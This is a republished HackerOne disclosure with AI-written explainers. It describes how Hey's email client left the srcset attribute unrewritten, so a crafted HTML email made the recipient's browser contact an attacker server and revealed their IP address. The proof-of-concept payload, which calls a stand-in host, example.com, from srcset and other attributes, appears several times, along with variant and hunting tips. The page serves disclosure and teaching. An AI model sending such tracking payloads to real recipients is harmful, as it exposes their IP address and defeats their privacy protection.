Skip to content
Info disclosure Disclosed report Beginner

Bypass of image rewriting / tracking blocker via srcset

Hey's email client rewrites image URLs to block tracking pixels, but the srcset attribute was not rewritten. An attacker could send an email with a crafted srcset to make the victim's browser request an attacker-controlled server, leaking the victim's IP address.

foobar7 Follow

Originally disclosed on HackerOne

Bounty$1,000 Medium 4.7 View original
  • Triaged in 4 hours
  • Fixed in 5 days
  • Paid in 4 hours
  • Disclosed after 35 days

CVSS

Medium 4.7 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

Description

One of the security features of Hey is blocking of tracking pixels to preserve users privacy.

As such, img tags and similar are rewritten by the app to point to gopher.hey.com. However, an attacker can bypass this filter via the srcset attribute.

POC

Send an email with the following code to the victim, where example.com is an attacker-controlled tracking server. The HTML code can for example be sent via thunderbird by clicking insert -> HTML.

<!DOCTYPE html SYSTEM "https://example.com/log?doctype">
<html xmlns="http://www.w3.org/1999/xhtml" manifest="https://example.com/log?html-manifest">
<head profile="https://example.com/log?head-profile">
</head>
<body>
<picture>
    <img srcset="https://example.com/log?picture-img-srcset">
</picture>
<img srcset=",,,,,https://example.com/log?img-srcset">
</body>
</html>

Open the incoming email in https://app.hey.com. The page will look like this:

<html style="[...]"><head>
      <meta charset="UTF-8">
      <style>
        [...]
      </style>
      <style>@import url("https://production.haystack-assets.com/assets/message_content-1f242d41450daac108bc715557eebc198d06b738e4e50d3f1005cba03d186861.css");</style>
    </head><body><div class="message-content-inner"><div class="trix-content">
  <div class="__body">
    <p>
       <img srcset="https://example.com/log?picture-img-srcset">

      <img srcset=",,,,,https://example.com/log?img-srcset">
      testtest
    </p>
  </div>
</div>
</div></body></html>

It can be seen that the srcset attribute was not rewritten & a request will have been sent to the tracking server directly from the victim users browser.

Impact

bypass of the img URL rewriting which prevents tracking scripts from gathering users IP addresses

The original report as published on HackerOne, by foobar7. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

Hey is an email service, and one of its advertised security features is the blocking of tracking pixels to protect users' privacy. When a message is rendered in the web app, img tags and similar elements are rewritten by the application so that they point to gopher.hey.com instead of the original remote host. That way the remote server never sees the recipient's browser make the request directly.

The report targets the web app at https://app.hey.com, on the *.hey.com asset, and shows that the rewriting can be bypassed through the srcset attribute.

Setup

No special accounts, roles or tooling are described. The only precondition is the ability to send an HTML email to a victim who opens it in https://app.hey.com. The report notes that the HTML can be composed in Thunderbird, for example, via insert -> HTML. The attacker also needs a server they control to receive the tracking requests; in the proof of concept this is example.com.

Finding it

The researcher knew that Hey rewrites img tags and similar elements to gopher.hey.com as part of its tracking-pixel blocking. The gap is that the rewriting does not cover srcset. Since srcset is a legitimate way to give a browser candidate image URLs, a browser will fetch from it, and if the attribute is left untouched the request goes straight to the attacker's host.

Exploitation

Step 1: Build an HTML email with several candidate vectors

The researcher sends an email containing the following code to the victim, where example.com is an attacker-controlled tracking server:

HTML
<!DOCTYPE html SYSTEM "https://example.com/log?doctype">
<html xmlns="http://www.w3.org/1999/xhtml" manifest="https://example.com/log?html-manifest">
<head profile="https://example.com/log?head-profile">
</head>
<body>
<picture>
    <img srcset="https://example.com/log?picture-img-srcset">
</picture>
<img srcset=",,,,,https://example.com/log?img-srcset">
</body>
</html>

The payload places remote URLs in several places: the SYSTEM identifier of the doctype, the manifest attribute on html, the profile attribute on head, an img with srcset inside a picture element, and a bare img whose srcset starts with a run of commas before the URL. Each URL carries a distinct query string.

Step 2: Open the email in the web app

The victim opens the incoming email in https://app.hey.com. The rendered page looks like this:

HTML
<html style="[...]"><head>
      <meta charset="UTF-8">
      <style>
        [...]
      </style>
      <style>@import url("https://production.haystack-assets.com/assets/message_content-[redacted].css");</style>
    </head><body><div class="message-content-inner"><div class="trix-content">
  <div class="__body">
    <p>
       <img srcset="https://example.com/log?picture-img-srcset">

      <img srcset=",,,,,https://example.com/log?img-srcset">
      testtest
    </p>
  </div>
</div>
</div></body></html>

In the rendered output the two img elements still carry their original srcset values pointing at example.com. The srcset attribute was not rewritten, so the browser fetches the candidate URLs directly from the tracking server, from the victim's browser. The report does not state which of the other candidate vectors, if any, produced a request.

Root cause

The rewriting logic that redirects image loads to gopher.hey.com handles src but does not handle srcset. Because srcset is a standard attribute that browsers use to select and load image resources, leaving it in place gives the browser a direct path to the remote host. The existing defence therefore did not cover all the ways an image resource can be referenced.

Impact

The bypass defeats the image URL rewriting that is meant to stop tracking scripts from gathering users' IP addresses. An attacker who can send an email to a Hey user can have the victim's browser contact their server when the message is opened, revealing the request and the IP address it came from. The CVSS vector given is CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N, scored 4.7 (Medium): network attack, no privileges, user interaction required, scope changed, no confidentiality or availability impact, low integrity impact.

Fix

The report does not describe a fix. The natural remedy, given the root cause, is to apply the same rewriting to srcset (and to any other attribute that can cause the browser to load a remote resource) as is applied to src.

Variants to test

  • Put the remote URL in srcset on a plain img, as in the second payload element, and check whether the rendered message keeps the attribute. A positive result is an unmodified srcset in the output and a request arriving at your server.
  • Put the remote URL in srcset on an img inside a picture element, as in the first payload element. A positive result is the same: the attribute survives rendering and the browser fetches it.
  • Try the other resource-bearing attributes used in the payload (manifest on html, profile on head, the doctype SYSTEM identifier) to see whether any of them also survive rendering and trigger a request.
  • Use distinct query strings per vector, as the researcher did, so you can attribute each incoming request to the element that caused it.

Hunting notes

This kind of bug hides wherever an application sanitises or rewrites HTML for privacy or safety and enumerates attributes by hand. The signal is a feature description that names specific elements (img tags and similar) rather than a general policy, which suggests an allowlist or rewrite list that may be incomplete. To confirm impact, render a message containing several candidate vectors with unique callback URLs and check both the rendered HTML and your server logs: an attribute that survives rendering and produces a request from the victim's browser is the proof. The rendered output shows the untouched srcset, and the report states a request will have been sent to the tracking server.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

Hey is an email service. Like most email services, it has to show you pictures that people send you inside their emails. But pictures in emails can be used to spy on you. A sender can put a tiny, invisible image in a message, and when your email app loads that image, the sender's server learns that you opened the message, roughly when you opened it, and the address your computer connected from. This trick is called a tracking pixel, and Hey advertises that it blocks it.

How does Hey block it? When Hey shows you a message, it does not let your browser fetch the picture from the sender's server. Instead, Hey rewrites the image address so that it points at one of Hey's own servers, gopher.hey.com. Hey fetches the picture, and the sender's server only ever sees Hey, not you. Your browser never talks to the sender directly.

The researcher found that the rewriting misses the standard srcset attribute. If a sender puts the tracking address in srcset instead, Hey leaves it alone, and when you open the message your browser goes straight to the sender's server. The privacy protection is bypassed.

The report was rated Medium with a CVSS score of 4.7.

The pieces you need to know

Before the steps make sense, here are the ideas involved, from zero.

  • HTML: the language web pages and HTML emails are written in. It is plain text with tags in angle brackets, like <img>, that tell the browser what to display.
  • Tag and attribute: a tag is an instruction such as <img> (show an image). An attribute is a setting inside the tag, written as name="value". For example, <img src="https://example.com/cat.png"> has the attribute src whose value is the address of the picture.
  • src: the classic attribute that holds the address of an image. The browser downloads whatever is at that address and shows it.
  • srcset: a newer, standard attribute that lets a page offer several candidate image addresses, for example different sizes for different screens. The browser picks one and downloads it. Crucially, a browser will fetch from srcset just as readily as from src.
  • Tracking pixel: a tiny or invisible image whose only purpose is to make your browser contact the sender's server, so the sender learns you opened the message and sees your IP address.
  • IP address: the number that identifies your connection on the internet, a bit like a return address on an envelope. It can reveal your approximate location and which network you use.
  • Rewriting: when a program takes the HTML of an email and changes parts of it before showing it to you. Hey rewrites image addresses so they point at gopher.hey.com instead of the sender's server.
  • Bypass: getting around a protection without breaking it outright. The protection is still there, but it does not cover the path you take.
  • Proof of concept (POC): a small, concrete demonstration that a problem is real, not theoretical.
  • Query string: the part of a web address after a question mark, such as ?log?img-srcset. It is often used to pass information to a server. Here the researcher uses a different one for each attempt so that, when a request arrives, they can tell which part of the HTML caused it.
  • CVSS: a standard scoring system for the severity of a security problem. The vector string is a compact code describing the conditions; the number is the resulting score.

Context

Hey is an email service, and one of its advertised security features is blocking tracking pixels to protect users' privacy. When a message is shown in the web app, img tags and similar elements are rewritten by the application so that they point to gopher.hey.com instead of the original remote host. That way the remote server never sees the recipient's browser make the request directly.

The report targets the web app at https://app.hey.com, on the *.hey.com asset, and shows that the rewriting can be bypassed through the srcset attribute.

Setup

No special accounts, roles or tooling are described. The only precondition is the ability to send an HTML email to a victim who opens it in https://app.hey.com. The report notes that the HTML can be composed in Thunderbird, for example, via insert -> HTML. The attacker also needs a server they control to receive the tracking requests; in the proof of concept this is example.com.

In plain terms: you need an email account that can send HTML email (the report mentions Thunderbird, a desktop email program, and its insert -> HTML menu, which lets you paste raw HTML instead of typing a normal message), a victim who opens the message in Hey's web app, and a web server of your own that records incoming requests. example.com stands in for that server throughout the report.

Finding it

The researcher knew that Hey rewrites img tags and similar elements to gopher.hey.com as part of its tracking-pixel blocking. The gap is that the rewriting covers src but not srcset. Since srcset is a legitimate way to give a browser candidate image URLs, a browser will fetch from it, and if the attribute is left untouched the request goes straight to the attacker's host.

Think of it like a mail room that opens every parcel addressed to a certain street and forwards it through its own depot. If someone writes the address in a slightly different but still valid format, the mail room does not recognise it, and the parcel goes straight to the original address. The protection is not broken; it simply does not recognise the second format.

Exploitation

Step 1: Build an HTML email with several candidate vectors

The researcher sends an email containing the following code to the victim, where example.com is an attacker-controlled tracking server:

HTML
<!DOCTYPE html SYSTEM "https://example.com/log?doctype">
<html xmlns="http://www.w3.org/1999/xhtml" manifest="https://example.com/log?html-manifest">
<head profile="https://example.com/log?head-profile">
</head>
<body>
<picture>
    <img srcset="https://example.com/log?picture-img-srcset">
</picture>
<img srcset=",,,,,https://example.com/log?img-srcset">
</body>
</html>

Line by line, in plain words:

  1. <!DOCTYPE html SYSTEM "https://example.com/log?doctype"> declares the document type. The SYSTEM part can carry an address; here it points at the attacker's server with the label doctype, so if a request arrives with that label, this line caused it.
  2. <html ... manifest="https://example.com/log?html-manifest"> opens the page. The manifest attribute is an old way to point at a file describing the page; here it points at the attacker's server with the label html-manifest.
  3. <head profile="https://example.com/log?head-profile"> opens the head section (the part of the page that holds information about the page rather than visible content). The profile attribute is another old address-bearing attribute, labelled head-profile here.
  4. <picture> opens a picture element, a container that lets a page offer several image options.
  5. <img srcset="https://example.com/log?picture-img-srcset"> is an image inside that container, with its address in srcset rather than src, labelled picture-img-srcset.
  6. <img srcset=",,,,,https://example.com/log?img-srcset"> is a plain image whose srcset begins with a run of commas before the address, labelled img-srcset. The commas are part of the srcset syntax, which separates candidate entries with commas.
  7. The closing tags simply end the elements opened above.

Why several attempts in one message? The message includes several places that can carry a remote address. Each address carries a distinct label after the question mark, so the attacker's server log shows exactly which one fired. This is a common technique: send many candidates at once, then read the results.

Step 2: Open the email in the web app

The victim opens the incoming email in https://app.hey.com. The rendered page looks like this:

HTML
<html style="[...]"><head>
      <meta charset="UTF-8">
      <style>
        [...]
      </style>
      <style>@import url("https://production.haystack-assets.com/assets/message_content-[redacted].css");</style>
    </head><body><div class="message-content-inner"><div class="trix-content">
  <div class="__body">
    <p>
       <img srcset="https://example.com/log?picture-img-srcset">

      <img srcset=",,,,,https://example.com/log?img-srcset">
      testtest
    </p>
  </div>
</div>
</div></body></html>

What this shows, in plain words:

  1. The outer structure (<html>, <head>, <body>) is Hey's own page, not the sender's. The [...] marks parts the report shortened.
  2. The <style> blocks are Hey's styling, including a stylesheet loaded from production.haystack-assets.com. These are part of Hey's interface.
  3. Inside the body, the nested div elements with class names such as message-content-inner and trix-content are Hey's containers for displaying the message body.
  4. The important part is the <p> element: the two img tags still carry their original srcset values pointing at example.com. Hey did not rewrite them.
  5. The word testtest is text the researcher added to the message, shown here as part of the rendered body.

Because the srcset attribute was not rewritten, the browser fetches the candidate URLs directly from the tracking server, from the victim's browser. The report does not state which of the other candidate vectors, if any, produced a request.

In other words: when the victim opens the email, their browser contacts the attacker's server. The attacker's log then shows the request and the IP address it came from. That is exactly what the tracking-pixel blocking was supposed to prevent.

Root cause

The rewriting logic that redirects image loads to gopher.hey.com handles src but does not handle srcset. Because srcset is a standard attribute that browsers use to select and load image resources, leaving it in place gives the browser a direct path to the remote host. The existing defence therefore did not cover all the ways an image resource can be referenced.

In everyday terms: the guard was given a list of things to check, and the list was incomplete. Anything not on the list passes through untouched.

Impact

The bypass defeats the image URL rewriting that is meant to stop tracking scripts from gathering users' IP addresses. An attacker who can send an email to a Hey user can have the victim's browser contact their server when the message is opened, revealing the request and the IP address it came from.

The CVSS vector given is CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N, scored 4.7 (Medium). Read piece by piece, it says:

Part Meaning
AV:N Attack vector: network, reachable over the internet
AC:L Attack complexity: low, no special conditions needed
PR:N Privileges required: none, the attacker needs no account on the target
UI:R User interaction: required, the victim must open the email
S:C Scope: changed, the impact reaches beyond the component that was attacked
C:N Confidentiality impact: none
I:L Integrity impact: low
A:N Availability impact: none

Fix

The report does not describe a fix. The natural remedy, given the root cause, is to apply the same rewriting to srcset (and to any other attribute that can cause the browser to load a remote resource) as is applied to src.

Variants to test

The variations to try:

  1. Put the remote URL in srcset on a plain img, as in the second payload element, and check whether the rendered message keeps the attribute. A positive result is an unmodified srcset in the output and a request arriving at your server.
  2. Put the remote URL in srcset on an img inside a picture element, as in the first payload element. A positive result is the same: the attribute survives rendering and the browser fetches it.
  3. Try the other resource-bearing attributes used in the payload (manifest on html, profile on head, the doctype SYSTEM identifier) to see whether any of them also survive rendering and trigger a request.
  4. Use distinct query strings per vector, as the researcher did, so you can attribute each incoming request to the element that caused it.

Hunting notes

This kind of bug hides wherever an application sanitises or rewrites HTML for privacy or safety and enumerates attributes by hand. The signal is a feature description that names specific elements (img tags and similar) rather than a general policy, which suggests an allowlist or rewrite list that may be incomplete. To confirm impact, render a message containing several candidate vectors with unique callback URLs and check both the rendered HTML and your server logs: an attribute that survives rendering and produces a request from the victim's browser is the proof. The report's acceptance rested on exactly that: the rendered output showing the untouched srcset and the resulting direct request to the tracking server.

Glossary

  • Attribute: a setting inside an HTML tag, written as name="value", such as src or srcset.
  • Bounty: a payment made by a company to a researcher who reports a valid security problem.
  • Bypass: getting around a protection without breaking it, by taking a path the protection does not cover.
  • CVSS: a standard scoring system for the severity of a security problem, expressed as a vector string and a number.
  • Disclosure: the public release of a security report, often after the problem has been fixed.
  • Doctype: the declaration at the top of an HTML document that states which document type it is; it can carry a SYSTEM identifier pointing at an address.
  • HTML: the language web pages and HTML emails are written in, made of tags in angle brackets.
  • IP address: the number identifying a connection on the internet, comparable to a return address.
  • manifest: an HTML attribute that can point at a file describing a page.
  • picture: an HTML container element that lets a page offer several image options.
  • profile: an HTML attribute on the head element that can point at an address describing the document.
  • Proof of concept (POC): a concrete demonstration that a problem is real.
  • Query string: the part of a web address after a question mark, often used to pass information to a server.
  • Rewriting: changing parts of an email's HTML before displaying it, for example to redirect image loads.
  • src: the classic HTML attribute holding the address of an image.
  • srcset: a standard HTML attribute offering one or more candidate image addresses for the browser to choose from.
  • Tag: an instruction in HTML such as <img>, written in angle brackets.
  • Tracking pixel: a tiny or invisible image used to make a recipient's browser contact the sender's server, revealing that the message was opened and from which IP address.
  • Vector (CVSS): the compact code describing the conditions of a security problem, from which the score is calculated.

More by foobar7

View all

17 more disclosed reports, best first.

More from Basecamp

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.